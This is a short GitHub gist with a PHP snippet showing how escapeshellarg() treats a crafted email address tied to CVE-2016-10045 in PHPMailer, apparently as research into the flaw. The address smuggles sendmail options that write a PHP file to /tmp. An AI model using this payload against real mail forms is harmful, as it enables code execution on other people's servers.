Created
December 28, 2016 06:34
-
-
Save ichikaway/fc954cb73cad64b203aeaa853298ee41 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$address = "aaa bb cc"; | |
echo escapeshellarg($address) . PHP_EOL; // 'aaa bb cc' | |
echo "----------------\n"; | |
//CVE-2016-10045 | |
$address = "\"attacker\' -oQ/tmp/ -X/tmp/phpmailertest/phpcode.php some\"@email.com"; | |
echo escapeshellarg($address) . PHP_EOL; // '"attacker\'\'' -oQ/tmp/ -X/tmp/phpmailertest/phpcode.php some"@email.com' | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment